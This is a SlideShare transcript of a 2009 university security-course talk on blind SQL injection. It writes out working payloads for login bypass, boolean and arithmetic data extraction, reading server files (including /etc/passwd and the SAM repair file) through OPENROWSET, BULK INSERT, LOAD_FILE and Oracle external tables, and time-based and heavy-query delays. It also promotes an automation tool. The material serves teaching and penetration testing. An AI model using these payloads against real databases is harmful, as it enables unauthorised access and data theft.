Playing With (B)Sqli

4,503 views

Published on

Charla impartida por Chema Alonso, de Informática64, en el curso de Verando de Seguridad Informática de la Universidad de Salamanca 2009

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
4,503
On SlideShare
0
From Embeds
0
Number of Embeds
2,265
Actions
Shares
0
Downloads
110
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Playing With (B)Sqli

  1. 1. (Re) Playingwith (Blind) SQL Injection<br />Chema Alonso<br />Informatica64 <br />Microsoft MVP Enterprise Security<br />
  2. 2. SQL Injection attacks<br />A long time ago, in a galaxyfar, faraway…<br />http://www.phrack.org/issues.html?id=8&issue=54<br />
  3. 3. Back onthe 90s<br />Select id fromusers_table<br />wherelogin=‘$users’ and passw=‘$password’;<br />User<br />Password<br />****************<br />
  4. 4. Back onthe 90s<br />Select id fromusers_table<br />wherelogin=‘Admin’ and passw=‘’ or ‘1’=‘1’;<br />User<br />Admin<br />Password<br />‘ or ‘1’=‘1<br />
  5. 5. Noteverybody….<br />
  6. 6. ODBC Error messages<br />Username: &apos; having 1=1-- <br />[Microsoft][ODBC SQL Server Driver][SQL Server]Column &apos;users.id&apos; is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.<br />Username: &apos; group by users.id having 1=1--<br />[Microsoft][ODBC SQL Server Driver][SQL Server]Column &apos;users.username&apos; is invalid in the select list because it is not contained in either an aggregate function or the GROUP BY clause. <br />And so on…<br />
  7. 7. Evensecuritycompanies: Kaspersky<br />
  8. 8. Agenda<br />Serialized SQL Injection<br />Demo: XML Extractor<br />Arithmetic SQL Injection<br />Divide byZero<br />Sums and subtractions<br />Typeoveflow<br />Demo<br />RemoteFileDownloadingusingBlind SQL Injection<br />SQL Sever<br />MySQL<br />Oracle<br />Demo: RFD Tool<br />Time-BasedBlind SQL Injectionusing heavy queries<br />Demo: MarathonTool<br />
  9. 9. Serialized SQL Injection<br />
  10. 10. Serialized SQL Injection<br />Goal: ToMergecomplexresultsets in a single showablefield<br />XML serializationfunctionsallowtoconvert a resultsetinto a oneXML string.<br />It´spossibletodownloadbigamount of data with single and simple injections.<br />
  11. 11. SQL Server<br />FOR XML: Retrieves data as a single stringrepresentingan XML tree. <br />RAW: Mandatory option. Shows the information converting each row of the result set in an XML element in the form &lt;row /&gt;.<br />BINARY BASE64:The query will fail if we find any BINARY data type column (containing images, or passwords) if this option is not explicitly specified.<br />union select &apos;1&apos;,&apos;2&apos;,&apos;3&apos;,(select * from sysusers for xml raw, binary base64) <br />XMLSCHEMA: obtains the whole table structure, including the data types, column names and other constraints.<br />Described by DaniKachakil<br />
  12. 12. MySQL<br />No default XML support, requires a server sideextension<br />GROUP_CONCAT (v 4.1+)<br />
  13. 13. Oracle<br />xmlforest, xmlelement,…<br />No * support<br />
  14. 14. Demo: Serialized SQL Injection<br />
  15. 15. ArithmeticBlind SQL Injection<br />
  16. 16. Blind Attacks<br />Attacker injects code but can´t access directly to the data.<br />However this injection changes the behavior of the web application. <br />Then the attacker looks for differences between true code injections (1=1) and false code injections (1=2) in the response pages to extract data.<br />Blind SQL Injection<br />Biind Xpath Injection<br />Blind LDAP Injection <br />
  17. 17. Blind SQL Injection Attacks<br />Attacker injects:<br />“True where clauses”<br />“False where clauses“<br />Ex:<br />Program.php?id=1 and 1=1<br />Program.php?id=1 and 1=2<br />Program doesn’t return any visible data from database or data in error messages.<br />The attacker can´t see any data extracted from the database. <br />
  18. 18. Blind SQL Injection Attacks<br />Attacker analyzes the response pages looking for differences between “True-Answer Page” and “False-Answer Page”:<br />Different hashes<br />Different html structure<br />Different patterns (keywords)<br />Different linear ASCII sums<br />“Different behavior”<br />By example: Response Time<br />
  19. 19. Blind SQL Injection Attacks<br />If any difference exists, then:<br />Attacker can extract all information from database<br />How? Using “booleanization”<br />MySQL:<br />Program.php?id=1 and 100&gt;(ASCII(Substring(user(),1,1)))<br />“True-Answer Page” or “False-Answer Page”?<br />MSSQL:<br />Program.php?id=1 and 100&gt;(Select top 1 ASCII(Substring(name,1,1))) from sysusers)<br />Oracle:<br />Program.php?id=1 and 100&gt;(Select ASCII(Substr(username,1,1))) from all_users where rownum&lt;=1)<br />
  20. 20. Blind SQL Injection<br />
  21. 21. ArithmeticBlind SQL Injection<br />Thequeryforcestheparametertobenumeric<br />SELECT field FROM table WHERE id=abs(param)<br />Ex:<br />GetParam(ID)<br />Select ….. Where att1=abs(ID)<br />Select ….. Where att2=k1-ID<br />Print response<br />Booleanlogicneedstobecreatedwithmathoperations<br />
  22. 22. ArithmeticBlind SQL Injection<br />Divide byzero (David Litchfield)<br />Id=A+(1/(ASCII(B)-C))<br />A-&gt; Paramvalueoriginallyused in thequery.<br />B -&gt; Valuewe are searchingfor, e.g.: Substring(passwd,1,1)<br />C-&gt; Counter [0..255]<br />When ASCII(B)=C, the DB willgenerate a divide byzeroexception.<br />
  23. 23. ArithmeticBlind SQL Injection<br />Sums and subtractions<br />Id=A+ASCII(B)-C<br />A-&gt; Paramvalueoriginallyused in thequery.<br />B -&gt; Valuewe are searchingfor, e.g.: Substring(passwd,1,1)<br />C-&gt; Counter [0..255]<br />When ASCII(B)=C, thenthe response page of id=A+ASCII(B)-C willbethesame as id=A<br />
  24. 24. ArithmeticBlind SQL Injection<br />Valuetypeoverflow<br />Id=A+((C/ASCII(B))*(K))<br />A-&gt; Paramvalueoriginallyused in thequery.<br />B -&gt; Valuewe are searchingfor, e.g.: Substring(passwd,1,1)<br />C-&gt; Counter [0..255]<br />K-&gt; Valuethatoverflowsthetypedefinedfor A<br />(e.g.if A isinteger, then K=2^32)<br />When C/ASCII(B)==1, K*1 overflowsthe data type<br />
  25. 25. Demo: <br />Divide byzero<br />Sums and subtractions<br />Integeroverflow<br />
  26. 26. RemoteFileDownloadingusingBlind SQL Injectiontechniques<br />
  27. 27. Accessing Files<br />Two ways:<br />Load the file in a temp table<br />and i&gt;(select top 1 ASCII(Substring(column)(file,pos,1)) from temp_table ??<br />Load the file in the query<br />With every query the file is loaded in memory<br />I am very sorry, engine  <br />and i&gt;ASCII(Substring(load_file(file,pos,1))??<br />
  28. 28. SQL Server 2K - External Data Sources<br />Only for known filetypes:<br />Access trough Drivers: Txt, csv, xls, mdb, log<br />And 200&gt;ASCII (SUBSTRING(SELECT * FROM OPENROWSET(&apos;MSDASQL&apos;, &apos;Driver = {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:;&apos;,&apos;select top 1 * from c:dir arget.txt’),1,1))<br />Privileges<br />HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerProvidersDisallowAdhocAccess=0<br />By default thiskeydoesn´texist so onlyuserswithServer Admin Role can use thesefunctions.<br />NTFS permissions<br />
  29. 29. SQL Server 2K – Bulk option <br />Access to any file<br />; Create Table TempTable as (row varchar(8000)) -- <br />; Bulk Insert TempTable From &apos;c:file.ext&apos; With (FIELDTERMINATOR = &apos; &apos;, ROWTERMINATOR = &apos; ‘) -- <br />; alter table TempTable add num int IDENTITY(1,1) NOT NULL –<br />and (select COUNT(row) from TempTable)<br />and (select top 1 len(row) from TempTable where num = rownum) <br />and (select top 1 ASCII(SUBSTRING(row,1,1)) from TempTable where num = 1) <br />; Drop Table TempTable--<br />Privileges needed <br />Server Role: Bulkadmin<br />Database Role: db_owner o db_ddladmin<br />NTFS permissions <br />
  30. 30. SQL Server 2k5 – 2k8<br />OPENDATASOURCE and OPENROWSET supported<br />Bulk options improved<br />AND 256 &gt; ASCII(SUBSTRING ((SELECT * FROM OPENROWSET(BULK &apos;c:windows epairsam&apos;, SINGLE_BLOB) As Data), 1, 1))—<br />Permisions<br />Bulkadmin Server Role<br />External Data Sources enabled<br />Sp_configure<br />Surface configuration Tool for features<br />
  31. 31. MySQL<br />LoadFile<br />SELECT LOAD_FILE(‘/etc/passwd’)<br />SQLbfTools: MySQLgetcommand (illo and dab)<br />http://www.reversing.org/node/view/11<br />Load Data infile<br />; Create table C8DFC643 (datosvarchar(4000))<br />; Load data infile &apos;c:oot.ini&apos; into table C8DFC643<br />; alter table C8DFC643 add column num integer auto_increment unique key<br />and (select count(num) from C8DFC643)<br />and (select length(datos) from C8DFC643 where num = 1)<br />and (select ASCII(substring(datos,5,1)) from C8DFC643 where num = 1)<br />; Drop table C8DFC643<br />
  32. 32. Oracle – Plain Text files<br />External Tables<br />; execute immediate &apos;Create Directory A4A9308C As &apos;&apos;c:&apos;&apos; &apos;; end; --<br /> ; execute immediate &apos;Create table A737D141 ( datos varchar2(4000) ) organization external (TYPE ORACLE_LOADER default directory A4A9308C access parameters ( records delimited by newline ) location (&apos;&apos;boot.ini&apos;&apos;))&apos;; end;--<br />Only Plain Text files<br />
  33. 33. Oracle – DBMS_LOB<br />; execute immediate ‘<br />DECLARE l_bfile BFILE;<br />l_blob BLOB;<br />BEGIN INSERT INTO A737D141 (datos) VALUES (EMPTY_BLOB()) RETURN datos INTO l_blob;<br />l_bfile := BFILENAME(&apos;&apos;A4A9308C&apos;&apos;, &apos;&apos;Picture.bmp&apos;&apos;);<br />DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly);<br />DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile));<br />DBMS_LOB.fileclose(l_bfile);<br />COMMIT;<br />EXCEPTION<br /> WHEN OTHERS THEN ROLLBACK;<br />END;‘<br />; end; --<br />
  34. 34. Demo RFD<br />
  35. 35. Time-basedBlind SQL Injectionusing heavy queries<br />
  36. 36. Time-Based Blind SQL Injection<br />In scenarios with no differences between “True-Answer Page” and “False-Answer Page”, time delays can be used.<br />Injection forces a delay in the response page when the condition injected is True. <br />- Delay functions:<br />SQL Server: waitfor<br />Oracle: dbms_lock.sleep<br />MySQL: sleep or Benchmark Function<br />Postgres: pg_sleep<br />Ex:<br />; if (exists(select * fromusers)) waitfordelay &apos;0:0:5’<br />
  37. 37. Exploit for Solar Empire Web Game<br />
  38. 38. Time-Based Blind SQL Injection<br />What about databases engines without delay functions, i.e., MS Access, Oracle connection without PL/SQL support, DB2, etc…?<br />Can we still perform an exploitation of Time-Based Blind SQL Injection Attacks?<br />
  39. 39. Yes, we can!<br />
  40. 40. “Where-Clause” execution order<br />Select “whatever “<br />From whatever<br />Where condition1 and condition2<br />- Condition1 lasts 10 seconds<br />- Condition2 lasts 100 seconds<br />Which condition should be executed first?<br />
  41. 41. The heavy condition first<br />
  42. 42. The light condition first<br />
  43. 43. Time-Based Blind SQL Injectionusing Heavy Queries<br />Attacker can perform an exploitation delaying the “True-answer page” using a heavy query.<br />It depends on how the database engine evaluates the where clauses in the query.<br />There are two types of database engines:<br />Databases without optimization process<br />Databases with optimization process<br />
  44. 44. Time-Based Blind SQL Injectionusing Heavy Queries<br />Attacker could inject a heavy Cross-Join condition for delaying the response page in True-Injections. <br />The Cross-join injection must be heavier than the other condition.<br />Attacker only have to know or to guess the name of a table with select permission in the database.<br />Example in MSSQL:<br />Program.php?id=1 and (SELECT count(*) FROM sysusers AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)&gt;1 and 300&gt;(select top 1 ascii(substring(name,1,1)) from sysusers)<br />
  45. 45. “Default” tablestoconstruct a heavy query<br />Microsoft SQL Server<br />sysusers<br />Oracle<br />all_users<br />MySQL (versión 5)<br />information_schema.columns<br />Microsoft Access<br />MSysAccessObjects (97 & 2000 versions)<br />MSysAccessStorage (2003 & 2007)<br />45<br />
  46. 46. “Default” tablestoconstruct a heavy query<br />…or whatever you can guess<br />Clients<br />Customers<br />News<br />Logins<br />Users<br />Providers<br />….Use your imagination…<br />
  47. 47. Ex 1: MS SQL Server<br />Query takes 14 seconds -&gt; True-Answer<br />
  48. 48. Ex 1: MS SQL Server<br />Query takes 1 second -&gt; False-Answer<br />
  49. 49. Ex 2: Oracle<br />Query Takes 22 seconds –&gt; True-Answer<br />
  50. 50. Ex 2: Oracle<br />Query Takes 1 second –&gt; False-Answer<br />
  51. 51. Ex 3: Access 2007<br />Query Takes 39 seconds –&gt; True-Answer<br />
  52. 52. Ex 3: Access 2007<br />Query Takes 1 second –&gt; False-Answer<br />
  53. 53. Marathon Tool<br />Automates Time-Based Blind SQL Injection Attacks using Heavy Queries in SQL Server, MySQL, MS Access and Oracle Databases.<br />Schema Extraction from known databases<br />Extract data using heavy queries not matter in which database engine (without schema)<br />Developed in .NET<br />Source code available<br />http://www.codeplex.com/marathontool<br />
  54. 54. Demo: Marathon Tool<br />
  55. 55. Prevention:Don´tforget Bobby Tables!SANITIZE YOUR QUERIES!<br />

×